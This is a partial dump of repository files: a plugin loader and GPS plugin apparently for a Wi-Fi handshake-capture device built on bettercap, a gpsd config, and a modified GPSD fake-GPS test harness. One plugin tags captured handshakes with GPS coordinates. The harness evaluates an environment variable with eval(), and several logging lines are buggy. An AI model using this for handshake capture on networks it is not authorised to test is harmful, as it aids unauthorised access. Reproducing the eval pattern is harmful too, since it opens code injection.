    "content": "import os\nimport queue\nimport threading\nimport glob\nimport importlib, importlib.util\nimport logging\nimport time\n\ndefault_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"default\")\nloaded = {}\nexitFlag = 0\nplugin_event_queues = {}\n\ndef dummy_callback():\n    pass\n\nclass WorkerThread (threading.Thread):\n    def __init__(self, plugin_name, event_name, work_queue):\n        threading.Thread.__init__(self)\n        self.plugin_name = plugin_name\n        self.event_name = event_name\n        self.work_queue = work_queue\n\n    def run(self):\n        logging.info(\"Worker thread starting for %s.%s\"%(self.plugin_name, self.event_name))\n        process_event(self.plugin_name, self.event_name, self.work_queue)\n        logging.info(\"Worker thread exiting for %s.%s\"%(self.plugin_name, self.event_name))\n\n\ndef process_event(plugin_name, event_name, work_queue):\n    while not exitFlag:\n        plugin_event_queues[plugin_name][event_name].queue_lock.acquire()\n        if not work_queue.empty():\n            data = work_queue.get()\n            plugin_event_queues[plugin_name][event_name].queue_lock.release()\n            try:\n                loaded[plugin_name].__dict__[('on_%s'%event_name)](*data[0], **data[1])\n            except Exception as e:\n                logging.error(\"error while running %s.%s : %s\" % (plugin_name, event_name, e))\n        else:\n            plugin_event_queues[plugin_name][event_name].queue_lock.release()\n            time.sleep(1)\n\n\nclass PluginEventQueue():\n    def __init__(self, plugin_name, event_name):\n        self.plugin_name = plugin_name\n        self.event_name = event_name\n        self.work_queue = queue.Queue()\n        self.worker_thread = WorkerThread(self.plugin_name, self.event_name, self.work_queue)\n        self.queue_lock = threading.Lock()\n        self.worker_thread.start()\n\n    def AddWork(self, *args, **kwargs):\n        self.queue_lock.acquire()\n        self.work_queue.put([args, kwargs])\n        self.queue_lock.release()\n\n\ndef on(event_name, *args, **kwargs):\n    global loaded\n    global plugin_event_queues\n    cb_name = 'on_%s' % event_name\n    for plugin_name, plugin in loaded.items():\n        if cb_name not in plugin.__dict__:\n            continue\n        \n        if plugin_name not in plugin_event_queues:\n            plugin_event_queues[plugin_name] = {}\n\n        if event_name not in plugin_event_queues[plugin_name]:\n            plugin_event_queues[plugin_name][event_name] = PluginEventQueue(plugin_name, event_name)\n\n        plugin_event_queues[plugin_name][event_name].AddWork(*args, **kwargs)\n\n\ndef load_from_file(filename):\n    plugin_name = os.path.basename(filename.replace(\".py\", \"\"))\n    spec = importlib.util.spec_from_file_location(plugin_name, filename)\n    instance = importlib.util.module_from_spec(spec)\n    spec.loader.exec_module(instance)\n    return plugin_name, instance\n\n\ndef load_from_path(path, enabled=()):\n    global loaded\n    for filename in glob.glob(os.path.join(path, \"*.py\")):\n        name, plugin = load_from_file(filename)\n        if name in loaded:\n            raise Exception(\"plugin %s already loaded from %s\" % (name, plugin.__file__))\n        elif name not in enabled:\n            # print(\"plugin %s is not enabled\" % name)\n            pass\n        else:\n            loaded[name] = plugin\n\n    return loaded\n\n\ndef load(config):\n    enabled = [name for name, options in config['main']['plugins'].items() if 'enabled' in options and options['enabled']]\n    custom_path = config['main']['custom_plugins'] if 'custom_plugins' in config['main'] else None\n    # load default plugins\n    loaded = load_from_path(default_path, enabled=enabled)\n    # set the options\n    for name, plugin in loaded.items():\n        plugin.__dict__['OPTIONS'] = config['main']['plugins'][name]\n    # load custom ones\n    if custom_path is not None:\n        loaded = load_from_path(custom_path, enabled=enabled)\n        # set the options\n        for name, plugin in loaded.items():\n            plugin.__dict__['OPTIONS'] = config['main']['plugins'][name]\n\n    on('loaded')\n"
  },
  {
    "path": "gps/config.yml",
    "content": "  # Change pwnagotchi's gps config to the updated variable names.\n  gps:\n        enabled: true\n        gpsdHost: localhost\n        gpsdPort: 2947\n"
  },
  {
    "path": "gps/gps.go",
    "content": "package gps\n\nimport (\n\t\"fmt\"\n\t\"time\"\n\t\"strconv\"\n\t\"github.com/bettercap/bettercap/session\"\n\t\"github.com/stratoberry/go-gpsd\"\n)\n\ntype GPS struct {\n\tsession.SessionModule\n\n\tgpsdHost   string\n\tgpsdPort   int\n\tgps\t   *gpsd.Session\n}\n\nfunc NewGPS(s *session.Session) *GPS {\n\tmod := &GPS{\n\t\tSessionModule: session.NewSessionModule(\"gps\", s),\n\t\tgpsdHost:      \"localhost\",\n\t\tgpsdPort:      2947,\n\t}\n\n\tmod.AddParam(session.NewStringParameter(\"gps.gpsdHost\",\n\t\tmod.gpsdHost,\n\t\t\"\",\n\t\t\"Port GPSD is listening on (default: 2947).\"))\n\n\tmod.AddParam(session.NewIntParameter(\"gps.gpsdPort\",\n\t\tfmt.Sprintf(\"%d\", mod.gpsdPort),\n\t\t\"Host running GPSD (default: localhost).\"))\n\n\tmod.AddHandler(session.NewModuleHandler(\"gps on\", \"\",\n\t\t\"Start acquiring from the GPS daemon.\",\n\t\tfunc(args []string) error {\n\t\t\treturn mod.Start()\n\t\t}))\n\n\tmod.AddHandler(session.NewModuleHandler(\"gps off\", \"\",\n\t\t\"Stop acquiring from the GPS daemon.\",\n\t\tfunc(args []string) error {\n\t\t\treturn mod.Stop()\n\t\t}))\n\n\tmod.AddHandler(session.NewModuleHandler(\"gps.show\", \"\",\n\t\t\"Show the last coordinates returned by the GPS daemon.\",\n\t\tfunc(args []string) error {\n\t\t\treturn mod.Show()\n\t\t}))\n\n\treturn mod\n}\n\nfunc (mod *GPS) Name() string {\n\treturn \"gps\"\n}\n\nfunc (mod *GPS) Description() string {\n\treturn \"A module for talking with the GPS daemon (GPSD) on a local or remote network interface.\"\n}\n\nfunc (mod *GPS) Author() string {\n\treturn \"Forrest\"\n}\n\nfunc (mod *GPS) Configure() (err error) {\n\tif mod.Running() {\n\t\treturn session.ErrAlreadyStarted(mod.Name())\n\t} else if err, mod.gpsdHost = mod.StringParam(\"gps.gpsdHost\"); err != nil {\n\t\treturn err\n\t} else if err, mod.gpsdPort = mod.IntParam(\"gps.gpsdPort\"); err != nil {\n\t\treturn err\n\t}\n\n\tmod.gps, err = gpsd.Dial(fmt.Sprintf(\"%s:%d\", mod.gpsdHost, mod.gpsdPort))\n\treturn\n}\n\nfunc (mod *GPS) Show() error {\n\tfmt.Printf(\"latitude:%f longitude:%f quality:%s satellites:%d altitude:%f\\n\",\n\t\tmod.Session.GPS.Latitude,\n\t\tmod.Session.GPS.Longitude,\n\t\tmod.Session.GPS.FixQuality,\n\t\tmod.Session.GPS.NumSatellites,\n\t\tmod.Session.GPS.Altitude)\n\n\tmod.Session.Refresh()\n\n\treturn nil\n}\n\nfunc (mod *GPS) Start() error {\n\tif err := mod.Configure(); err != nil {\n\t\treturn err\n\t}\n\n\treturn mod.SetRunning(true, func() {\n\n\t\tmod.gps.AddFilter(\"TPV\", func(r interface{}) {\n\t\t\tm := r.(*gpsd.TPVReport)\n\t\t\tmod.Session.GPS.Updated = time.Now()\n\t\t\tmod.Session.GPS.Latitude = m.Lat\n\t\t\tmod.Session.GPS.Longitude = m.Lon\n\t\t\tmod.Session.GPS.Altitude = m.Alt\n\t\t\tmod.Session.GPS.FixQuality = strconv.Itoa(int(m.Mode))\n\t\t\t//mod.Session.GPS.Separation = m.Separation\n\t\t})\n\n\t\tmod.gps.AddFilter(\"GST\", func(r interface{}) {\n\t\t\tm := r.(*gpsd.GSTReport)\n\t\t\tmod.Session.GPS.Updated = time.Now()\n\t\t\tmod.Session.GPS.Latitude = m.Lat\n\t\t\tmod.Session.GPS.Longitude = m.Lon\n\t\t\tmod.Session.GPS.Altitude = m.Alt\n\t\t})\n\n\t\tmod.gps.AddFilter(\"SKY\", func(r interface{}) {\n\t\t\tm := r.(*gpsd.SKYReport)\n\t\t\tmod.Session.GPS.Updated = time.Now()\n\t\t\tmod.Session.GPS.NumSatellites = int64(len(m.Satellites))\n\t\t\tmod.Session.GPS.HDOP = m.Hdop\n\t\t})\n\n\t\tmod.Info(\"started on %s:%d ...\", mod.gpsdHost, mod.gpsdPort)\n\t\tfor mod.Running() {\n\t\t\tdone := mod.gps.Watch()\n\t\t\t<-done\n\t\t}\n\n\t})\n}\n\nfunc (mod *GPS) Stop() error {\n\treturn mod.SetRunning(false, func() {\n\t})\n}\n"
  },
  {
    "path": "gps/gps.py",
    "content": "__author__ = 'forrest'\n__version__ = '1.0.0'\n__name__ = 'gps'\n__license__ = 'GPL3'\n__description__ = 'Save GPS coordinates whenever a handshake is captured.'\n\nimport logging\nimport json\nimport os\n\nrunning = False\nOPTIONS = dict()\n\n\ndef on_loaded():\n    logging.info(\"gps plugin loaded for %s:%d\" % OPTIONS['gpsdHost'], OPTIONS['gpsdPort'])\n\n\ndef on_ready(agent):\n    global running\n\n    logging.info(\"enabling gps bettercap's module for %s:%d\" % OPTIONS['gpsdHost'], OPTIONS['gpsdPort'])\n    try:\n        agent.run('gps off')\n    except:\n        pass\n\n    agent.run('set gps.gpsdHost %s' % OPTIONS['gpsdHost'])\n    agent.run('set gps.gpsdPort %d' % OPTIONS['gpsdPort'])\n    agent.run('gps on')\n    running = True\n\n\ndef on_handshake(agent, filename, access_point, client_station):\n    if running:\n        info = agent.session()\n        gps = info['gps']\n        gps_filename = filename.replace('.pcap', '.gps.json')\n\n        logging.info(\"saving GPS to %s (%s)\" % (gps_filename, gps))\n        with open(gps_filename, 'w+t') as fp:\n            json.dump(gps, fp)\n"
  },
  {
    "path": "gps/gpsd",
    "content": "# The GPSD config is usually located at /etc/default/gpsd\nSTART_DAEMON=\"true\"\nUSBAUTO=\"true\"\nDEVICES=\"/dev/ttyUSB0\"\nGPSD_OPTIONS=\"-n -r\"\nGPSD_SOCKET=\"/var/run/gpsd.sock\"\n# Update this with whatever, and give it the old 'systemctl enable gpsd ; systemctl start gpsd'\n"
  },
  {
    "path": "gsmfake/fake.py",
    "content": "# This file is Copyright (c) 2010 by the GPSD project\n# BSD terms apply: see the file COPYING in the distribution root for details.\n\"\"\"\ngpsfake.py -- classes for creating a controlled test environment around gpsd.\n\nThe gpsfake(1) regression tester shipped with GPSD is a trivial wrapper\naround this code.  For a more interesting usage example, see the\nvalgrind-audit script shipped with the GPSD code.\n\nTo use this code, start by instantiating a TestSession class.  Use the\nprefix argument if you want to run the daemon under some kind of run-time\nmonitor like valgrind or gdb.  Here are some particularly useful possibilities:\n\nvalgrind --tool=memcheck --gen-suppressions=yes --leak-check=yes\n    Run under Valgrind, checking for malloc errors and memory leaks.\n\nxterm -e gdb -tui --args\n    Run under gdb, controlled from a new xterm.\n\nYou can use the options argument to pass in daemon options; normally you will\nuse this to set the debug-logging level.\n\nOn initialization, the test object spawns an instance of gpsd with no\ndevices or clients attached, connected to a control socket.\n\nTestSession has methods to attach and detch fake GPSes. The\nTestSession class simulates GPS devices for you with objects composed\nfrom a pty and a class instance that cycles sentences into the master side\nfrom some specified logfile; gpsd reads the slave side.  A fake GPS is\nidentified by the string naming its slave device.\n\nTestSession also has methods to start and end client sessions.  Daemon\nresponses to a client are fed to a hook function which, by default,\ndiscards them.  Note that this data is 'bytes' to accommodate possible\nbinary data in Python 3; use polystr() if you need a str.  You can\nchange the hook to misc.get_bytes_stream(sys.stdout).write to dump\nresponses to standard output (this is what the gpsfake executable does)\nor do something more exotic. A client session is identified by a small\ninteger that counts the number of client session starts.\n\nThere are a couple of convenience methods.  TestSession.wait() does nothing,\nallowing a specified number of seconds to elapse.  TestSession.send()\nships commands to an open client session.\n\nTestSession does not currently capture the daemon's log output.  It is\nrun with -N, so the output will go to stderr (along with, for example,\nValgrind notifications).\n\nEach FakeGPS instance tries to packetize the data from the logfile it\nis initialized with. It uses the same packet-getter as the daemon.\nException: if there is a Delay-Cookie line in a header comment, that\ndelimiter is used to split up the test load.\n\nThe TestSession code maintains a run queue of FakeGPS and gps.gs\n(client- session) objects. It repeatedly cycles through the run queue.\nFor each client session object in the queue, it tries to read data\nfrom gpsd.  For each fake GPS, it sends one line or packet of stored\ndata.  When a fake-GPS's go predicate becomes false, the fake GPS is\nremoved from the run queue.\n\nThere are two ways to use this code.  The more deterministic is\nnon-threaded mode: set up your client sessions and fake GPS devices,\nthen call the run() method.  The run() method will terminate when\nthere are no more objects in the run queue.  Note, you must have\ncreated at least one fake client or fake GPS before calling run(),\notherwise it will terminate immediately.\n\nTo allow for adding and removing clients while the test is running,\nrun in threaded mode by calling the start() method.  This simply calls\nthe run method in a subthread, with locking of critical regions.\n\"\"\"\n# This code runs compatibly under Python 2 and 3.x for x >= 2.\n# Preserve this property!\nfrom __future__ import absolute_import, print_function, division\n\nimport os\nimport pty\nimport select\nimport signal\nimport socket\nimport stat\nimport subprocess\nimport sys\nimport termios  # fcntl, array, struct\nimport threading\nimport time\n\nimport serial\nimport math\nimport pynmea2\nimport datetime\nimport re\n\n\nimport gps\nfrom gps import polybytes\nfrom . import packet as sniffer\n\n# The magic number below has to be derived from observation.  If\n# it's too high you'll slow the tests down a lot.  If it's too low\n# you'll get regression tests timing out.\n\n# WRITE_PAD: Define a per-line delay on writes so we won't spam the\n# buffers in the pty layer or gpsd itself. Values smaller than the\n# system timer tick don't make any difference here. Can be set from\n# WRITE_PAD in the environment.\n\nif sys.platform.startswith(\"linux\"):\n    WRITE_PAD = 0.0\nelif sys.platform.startswith(\"freebsd\"):\n    WRITE_PAD = 0.01\nelif sys.platform.startswith(\"netbsd5\"):\n    WRITE_PAD = 0.200\nelif sys.platform.startswith(\"netbsd\"):\n    WRITE_PAD = 0.004\nelif sys.platform.startswith(\"darwin\"):\n    # darwin Darwin-13.4.0-x86_64-i386-64bit\n    WRITE_PAD = 0.03\nelse:\n    WRITE_PAD = 0.004\n\n# Additional delays in slow mode\nWRITE_PAD_SLOWDOWN = 0.01\n\n# If a test takes longer than this, we deem it to have timed out\nTEST_TIMEOUT = 60\n\n\ndef GetDelay(slow=False):\n    \"Get appropriate per-line delay.\"\n    delay = WRITE_PAD\n    # Make it easier to test pad values\n    if os.getenv(\"WRITE_PAD\"):\n        delay = eval(os.getenv(\"WRITE_PAD\"))\n    if slow:\n        delay += WRITE_PAD_SLOWDOWN\n    return delay\n\n\nclass TestError(BaseException):\n    def __init__(self, msg):\n        super(TestError, self).__init__()\n        self.msg = msg\n\n\nclass TestLoadError(TestError):\n    pass\n\n\nclass DynamicTestLoad(object):\n    \"Fuck this shit.\"\n\n    def __init__(self, logfp, predump=False, slow=False, oneshot=False):\n        self.sentences = []  # This is the interesting part\n        if isinstance(logfp, str):\n            logfp = open(logfp, \"rb\")\n        self.name = logfp.name\n        self.logfp = logfp\n        self.predump = predump\n        self.type = None\n        self.sourcetype = \"pty\"\n        self.serial = None\n        self.delay = GetDelay(slow)\n        self.delimiter = None\n        # Stash away a copy in case we need to resplit\n        text = logfp.read()\n        logfp = open(logfp.name, 'rb')\n        # Grab the packets in the normal way\n        getter = sniffer.new()\n        # gps.packet.register_report(reporter)\n        type_latch = None\n        commentlen = 0\n        while True:\n            # Note that packet data is bytes rather than str\n            (plen, ptype, packet, _counter) = getter.get(logfp.fileno())\n            if plen <= 0:\n                break\n            elif ptype == sniffer.COMMENT_PACKET:\n                commentlen += len(packet)\n                # Some comments are magic\n                if b\"Serial:\" in packet:\n                    # Change serial parameters\n                    packet = packet[1:].strip()\n                    try:\n                        (_xx, baud, params) = packet.split()\n                        baud = int(baud)\n                        if params[0] in (b'7', b'8'):\n                            databits = int(params[0])\n                        else:\n                            raise ValueError\n                        if params[1] in (b'N', b'O', b'E'):\n                            parity = params[1]\n                        else:\n                            raise ValueError\n                        if params[2] in (b'1', b'2'):\n                            stopbits = int(params[2])\n                        else:\n                            raise ValueError\n                    except (ValueError, IndexError):\n                        raise TestLoadError(\"bad serial-parameter spec in %s\" %\n                                            self.name)\n                    self.serial = (baud, databits, parity, stopbits)\n                elif b\"Transport: UDP\" in packet:\n                    self.sourcetype = \"UDP\"\n                elif b\"Transport: TCP\" in packet:\n                    self.sourcetype = \"TCP\"\n                elif b\"Delay-Cookie:\" in packet:\n                    if packet.startswith(b\"#\"):\n                        packet = packet[1:]\n                    try:\n                        (_dummy, self.delimiter, delay) = \\\n                            packet.strip().split()\n                        self.delay = float(delay)\n                    except ValueError:\n                        raise TestLoadError(\"bad Delay-Cookie line in %s\" %\n                                            self.name)\n                    self.resplit = True\n            else:\n                if type_latch is None:\n                    type_latch = ptype\n                if self.predump:\n                    print(repr(packet))\n                if not packet:\n                    raise TestLoadError(\"zero-length packet from %s\" %\n                                        self.name)\n                self.sentences.append(packet)\n        # Look at the first packet to grok the GPS type\n        self.textual = (type_latch == sniffer.NMEA_PACKET)\n        if self.textual:\n            self.legend = \"gpsfake: line %d: \"\n        else:\n            self.legend = \"gpsfake: packet %d\"\n        # Maybe this needs to be split on different delimiters?\n        if self.delimiter is not None:\n            self.sentences = text[commentlen:].split(self.delimiter)\n        # Do we want single-shot operation?\n        if oneshot:\n            self.sentences.append(b\"# EOF\\n\")\n\n\nclass TestLoad(object):\n    \"Digest a logfile into a list of sentences we can cycle through.\"\n\n    def __init__(self, logfp, predump=False, slow=False, oneshot=False):\n        self.sentences = []  # This is the interesting part\n        if isinstance(logfp, str):\n            logfp = open(logfp, \"rb\")\n        self.name = logfp.name\n        self.logfp = logfp\n        self.predump = predump\n        self.type = None\n        self.sourcetype = \"pty\"\n        self.serial = None\n        self.delay = GetDelay(slow)\n        self.delimiter = None\n        # Stash away a copy in case we need to resplit\n        text = logfp.read()\n        logfp = open(logfp.name, 'rb')\n        # Grab the packets in the normal way\n        getter = sniffer.new()\n        # gps.packet.register_report(reporter)\n        type_latch = None\n        commentlen = 0\n        while True:\n            # Note that packet data is bytes rather than str\n            (plen, ptype, packet, _counter) = getter.get(logfp.fileno())\n            if plen <= 0:\n                break\n            elif ptype == sniffer.COMMENT_PACKET:\n                commentlen += len(packet)\n                # Some comments are magic\n                if b\"Serial:\" in packet:\n                    # Change serial parameters\n                    packet = packet[1:].strip()\n                    try:\n                        (_xx, baud, params) = packet.split()\n                        baud = int(baud)\n                        if params[0] in (b'7', b'8'):\n                            databits = int(params[0])\n                        else:\n                            raise ValueError\n                        if params[1] in (b'N', b'O', b'E'):\n                            parity = params[1]\n                        else:\n                            raise ValueError\n                        if params[2] in (b'1', b'2'):\n                            stopbits = int(params[2])\n                        else:\n                            raise ValueError\n                    except (ValueError, IndexError):\n                        raise TestLoadError(\"bad serial-parameter spec in %s\" %\n                                            self.name)\n                    self.serial = (baud, databits, parity, stopbits)\n                elif b\"Transport: UDP\" in packet:\n                    self.sourcetype = \"UDP\"\n                elif b\"Transport: TCP\" in packet:\n                    self.sourcetype = \"TCP\"\n                elif b\"Delay-Cookie:\" in packet:\n                    if packet.startswith(b\"#\"):\n                        packet = packet[1:]\n                    try:\n                        (_dummy, self.delimiter, delay) = \\\n                            packet.strip().split()\n                        self.delay = float(delay)\n                    except ValueError:\n                        raise TestLoadError(\"bad Delay-Cookie line in %s\" %\n                                            self.name)\n                    self.resplit = True\n            else:\n                if type_latch is None:\n                    type_latch = ptype\n                if self.predump:\n                    print(repr(packet))\n                if not packet:\n                    raise TestLoadError(\"zero-length packet from %s\" %\n                                        self.name)\n                self.sentences.append(packet)\n        # Look at the first packet to grok the GPS type\n        self.textual = (type_latch == sniffer.NMEA_PACKET)\n        if self.textual:\n            self.legend = \"gpsfake: line %d: \"\n        else:\n            self.legend = \"gpsfake: packet %d\"\n        # Maybe this needs to be split on different delimiters?\n        if self.delimiter is not None:\n            self.sentences = text[commentlen:].split(self.delimiter)\n        # Do we want single-shot operation?\n        if oneshot:\n            self.sentences.append(b\"# EOF\\n\")\n\n\nclass PacketError(TestError):\n    pass\n\n\nclass FakeGPS(object):\n    def __init__(self, testload, progress=None):\n        self.testload = testload\n        self.progress = progress\n        self.go_predicate = lambda: True\n        self.readers = 0\n        self.index = 0\n        self.progress(\"gpsfake: %s provides %d sentences\\n\"\n                      % (self.testload.name, len(self.testload.sentences)))\n\n    def write(self, line):\n        \"Throw an error if this superclass is ever instantiated.\"\n        raise ValueError(line)\n\n    def feed(self):\n        \"Feed a line from the contents of the GPS log to the daemon.\"\n        line = self.testload.sentences[self.index\n                                       % len(self.testload.sentences)]\n        if b\"%Delay:\" in line:\n            # Delay specified number of seconds\n            delay = line.split()[1]\n            time.sleep(int(delay))\n        # self.write has to be set by the derived class\n        self.write(line)\n        time.sleep(self.testload.delay)\n        self.index += 1\n\n\n\nclass FakePTY(FakeGPS):\n    \"A FakePTY is a pty with a test log ready to be cycled to it.\"\n\n    def __init__(self, testload,\n                 speed=4800, databits=8, parity='N', stopbits=1,\n                 progress=None):\n        super(FakePTY, self).__init__(testload, progress)\n        # Allow Serial: header to be overridden by explicit speed.\n        if self.testload.serial:\n            (speed, databits, parity, stopbits) = self.testload.serial\n        self.speed = speed\n        baudrates = {\n            0: termios.B0,\n            50: termios.B50,\n            75: termios.B75,\n            110: termios.B110,\n            134: termios.B134,\n            150: termios.B150,\n            200: termios.B200,\n            300: termios.B300,\n            600: termios.B600,\n            1200: termios.B1200,\n            1800: termios.B1800,\n            2400: termios.B2400,\n            4800: termios.B4800,\n            9600: termios.B9600,\n            19200: termios.B19200,\n            38400: termios.B38400,\n            57600: termios.B57600,\n            115200: termios.B115200,\n            230400: termios.B230400,\n        }\n        (self.fd, self.slave_fd) = pty.openpty()\n        self.byname = os.ttyname(self.slave_fd)\n        os.chmod(self.byname, stat.S_IRUSR | stat.S_IWUSR | stat.S_IRGRP\n                 | stat.S_IWGRP | stat.S_IROTH | stat.S_IWOTH)\n        (iflag, oflag, cflag, lflag, ispeed, ospeed, cc) = termios.tcgetattr(\n            self.slave_fd)\n        cc[termios.VMIN] = 1\n        cflag &= ~(termios.PARENB | termios.PARODD | termios.CRTSCTS)\n        cflag |= termios.CREAD | termios.CLOCAL\n        iflag = oflag = lflag = 0\n        iflag &= ~ (termios.PARMRK | termios.INPCK)\n        cflag &= ~ (termios.CSIZE | termios.CSTOPB | termios.PARENB\n                    | termios.PARODD)\n        if databits == 7:\n            cflag |= termios.CS7\n        else:\n            cflag |= termios.CS8\n        if stopbits == 2:\n            cflag |= termios.CSTOPB\n        # Warning: attempting to set parity makes Fedora lose its cookies\n        if parity == 'E':\n            iflag |= termios.INPCK\n            cflag |= termios.PARENB\n        elif parity == 'O':\n            iflag |= termios.INPCK\n            cflag |= termios.PARENB | termios.PARODD\n        ispeed = ospeed = baudrates[speed]\n        try:\n            termios.tcsetattr(self.slave_fd, termios.TCSANOW,\n                              [iflag, oflag, cflag, lflag, ispeed, ospeed, cc])\n        except termios.error:\n            raise TestLoadError(\"error attempting to set serial mode to %s \"\n                                \" %s%s%s\"\n                                % (speed, databits, parity, stopbits))\n\n    def read(self):\n        \"Discard control strings written by gpsd.\"\n        # A tcflush implementation works on Linux but fails on OpenBSD 4.\n        termios.tcflush(self.fd, termios.TCIFLUSH)\n        # Alas, the FIONREAD version also works on Linux and fails on OpenBSD.\n        # try:\n        #    buf = array.array('i', [0])\n        #    fcntl.ioctl(self.master_fd, termios.FIONREAD, buf, True)\n        #    n = struct.unpack('i', buf)[0]\n        #    os.read(self.master_fd, n)\n        # except IOError:\n        #    pass\n\n    def write(self, line):\n        self.progress(\"gpsfake: %s writes %d=%s\\n\"\n                      % (self.testload.name, len(line), repr(line)))\n        os.write(self.fd, line)\n\n    def drain(self):\n        \"Wait for the associated device to drain (e.g. before closing).\"\n        termios.tcdrain(self.fd)\n\n\ndef get_nmea_string(longitude, latitude, date_value, time_value):\n    msg = pynmea2.GGA('GP', 'GGA', ((datetime.datetime.strptime(time_value,'%H:%M:%S').time().strftime(\"%H%M%S.00\")), ('%03i%02.5f' % (int(float(math.floor(abs(latitude)))),(abs(latitude)-float(math.floor(abs(latitude))))*60.00)), ('S' if latitude < 0 else 'N'), ('%03i%02.5f' % (int(float(math.floor(abs(longitude)))),(abs(longitude)-float(math.floor(abs(longitude))))*60.00)), ('W' if longitude < 0 else 'E'), '1', '04', '2.6', '100.00', 'M', '-33.9', 'M', '', '0000'))\n    return msg\n\ndef get_gps():\n    ser = serial.Serial(\"/dev/ttyS0\",115200)\n    return_value = \"\"\n    while True:\n        gps_command = 'AT+CIPGSMLOC=1,1'\n        ser.write(gps_command+'\\r\\n')\n        time.sleep(1)\n        data = \"\"\n        while ser.inWaiting() > 0:\n            data += ser.read(ser.inWaiting())\n        if data != \"\":\n            m = re.search(\"\\+CIPGSMLOC:\\s+\\d+,(?P<longitude>-?\\d+\\.\\d+),(?P<latitude>-?\\d+\\.\\d+),(?P<date>\\d+/\\d+/\\d+),(?P<time>\\d+:\\d+:\\d+)\", data)\n            if m:\n                return_value = (str(get_nmea_string(float(m.group('longitude')),float(m.group('latitude')),m.group('date'),m.group('time'))))\n                break\n    ser.close()\n    return return_value\n\n\nclass FakeGSMPTY(FakePTY):\n    def __init__(self, testload,\n                 speed=4800, databits=8, parity='N', stopbits=1,\n                 progress=None):\n        super(FakeGSMPTY, self).__init__(testload, speed, databits, parity, stopbits, progress)\n\n    def feed(self):\n        \"Feed a line from the contents of the GPS log to the daemon.\"\n        line = get_gps()+\"\\r\\n\"\n\n        if b\"%Delay:\" in line:\n            # Delay specified number of seconds\n            delay = line.split()[1]\n            time.sleep(int(delay))\n        # self.write has to be set by the derived class\n        self.write(line)\n        time.sleep(self.testload.delay)\n        self.index += 1\n\n\ndef cleansocket(host, port, socktype=socket.SOCK_STREAM):\n    \"Get a socket that we can re-use cleanly after it's closed.\"\n    cs = socket.socket(socket.AF_INET, socktype)\n    # This magic prevents \"Address already in use\" errors after\n    # we release the socket.\n    cs.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    cs.bind((host, port))\n    return cs\n\n\ndef freeport(socktype=socket.SOCK_STREAM):\n    \"\"\"Get a free port number for the given connection type.\n\n    This lets the OS assign a unique port, and then assumes\n    that it will become available for reuse once the socket\n    is closed, and remain so long enough for the real use.\n    \"\"\"\n    s = cleansocket(\"127.0.0.1\", 0, socktype)\n    port = s.getsockname()[1]\n    s.close()\n    return port\n\n\nclass FakeTCP(FakeGPS):\n    \"A TCP serverlet with a test log ready to be cycled to it.\"\n\n    def __init__(self, testload,\n                 host, port,\n                 progress=None):\n        super(FakeTCP, self).__init__(testload, progress)\n        self.host = host\n        self.dispatcher = cleansocket(self.host, int(port))\n        # Get actual assigned port\n        self.port = self.dispatcher.getsockname()[1]\n        self.byname = \"tcp://\" + host + \":\" + str(self.port)\n        self.dispatcher.listen(5)\n        self.readables = [self.dispatcher]\n\n    def read(self):\n        \"Handle connection requests and data.\"\n        readable, _writable, _errored = select.select(self.readables, [], [],\n                                                      0)\n        for s in readable:\n            if s == self.dispatcher:  # Connection request\n                client_socket, _address = s.accept()\n                self.readables = [client_socket]\n                # Depending on timing, gpsd may try to reconnect between the\n                # end of the log data and the remove_device.  With no listener,\n                # this results in spurious error messages.  Keeping the\n                # listener around avoids this.  It will eventually be closed\n                # by the Python object cleanup. self.dispatcher.close()\n            else:  # Incoming data\n                data = s.recv(1024)\n                if not data:\n                    s.close()\n                    self.readables.remove(s)\n\n    def write(self, line):\n        \"Send the next log packet to everybody connected.\"\n        self.progress(\"gpsfake: %s writes %d=%s\\n\"\n                      % (self.testload.name, len(line), repr(line)))\n        for s in self.readables:\n            if s != self.dispatcher:\n                s.send(line)\n\n    def drain(self):\n        \"Wait for the associated device(s) to drain (e.g. before closing).\"\n        for s in self.readables:\n            if s != self.dispatcher:\n                s.shutdown(socket.SHUT_RDWR)\n\n\nclass FakeUDP(FakeGPS):\n    \"A UDP broadcaster with a test log ready to be cycled to it.\"\n\n    def __init__(self, testload,\n                 ipaddr, port,\n                 progress=None):\n        super(FakeUDP, self).__init__(testload, progress)\n        self.ipaddr = ipaddr\n        self.port = port\n        self.byname = \"udp://\" + ipaddr + \":\" + str(port)\n        self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\n    def read(self):\n        \"Discard control strings written by gpsd.\"\n        pass\n\n    def write(self, line):\n        self.progress(\"gpsfake: %s writes %d=%s\\n\"\n                      % (self.testload.name, len(line), repr(line)))\n        self.sock.sendto(line, (self.ipaddr, int(self.port)))\n\n    def drain(self):\n        \"Wait for the associated device to drain (e.g. before closing).\"\n        pass  # shutdown() fails on UDP\n\n\nclass SubprogramError(TestError):\n    def __str__(self):\n        return repr(self.msg)\n\n\nclass SubprogramInstance(object):\n    \"Class for generic subprogram.\"\n    ERROR = SubprogramError\n\n    def __init__(self):\n        self.spawncmd = None\n        self.process = None\n        self.returncode = None\n        self.env = None\n\n    def spawn_sub(self, program, options, background=False, prefix=\"\",\n                  env=None):\n        \"Spawn a subprogram instance.\"\n        spawncmd = None\n\n        # Look for program in GPSD_HOME env variable\n        if os.environ.get('GPSD_HOME'):\n            for path in os.environ['GPSD_HOME'].split(':'):\n                _spawncmd = \"%s/%s\" % (path, program)\n                if os.path.isfile(_spawncmd) and os.access(_spawncmd, os.X_OK):\n                    spawncmd = _spawncmd\n                    break\n\n        # if we could not find it yet try PATH env variable for it\n        if not spawncmd:\n            if '/usr/sbin' not in os.environ['PATH']:\n                os.environ['PATH'] = os.environ['PATH'] + \":/usr/sbin\"\n            for path in os.environ['PATH'].split(':'):\n                _spawncmd = \"%s/%s\" % (path, program)\n                if os.path.isfile(_spawncmd) and os.access(_spawncmd, os.X_OK):\n                    spawncmd = _spawncmd\n                    break\n\n        if not spawncmd:\n            raise self.ERROR(\"Cannot execute %s: executable not found. \"\n                             \"Set GPSD_HOME env variable\" % program)\n        self.spawncmd = [spawncmd] + options.split()\n        if prefix:\n            self.spawncmd = prefix.split() + self.spawncmd\n        if env:\n            self.env = os.environ.copy()\n            self.env.update(env)\n        self.process = subprocess.Popen(self.spawncmd, env=self.env)\n        if not background:\n            self.returncode = status = self.process.wait()\n            if os.WIFSIGNALED(status) or os.WEXITSTATUS(status):\n                raise self.ERROR(\"%s exited with status %d\"\n                                 % (program, status))\n\n    def is_alive(self):\n        \"Is the program still 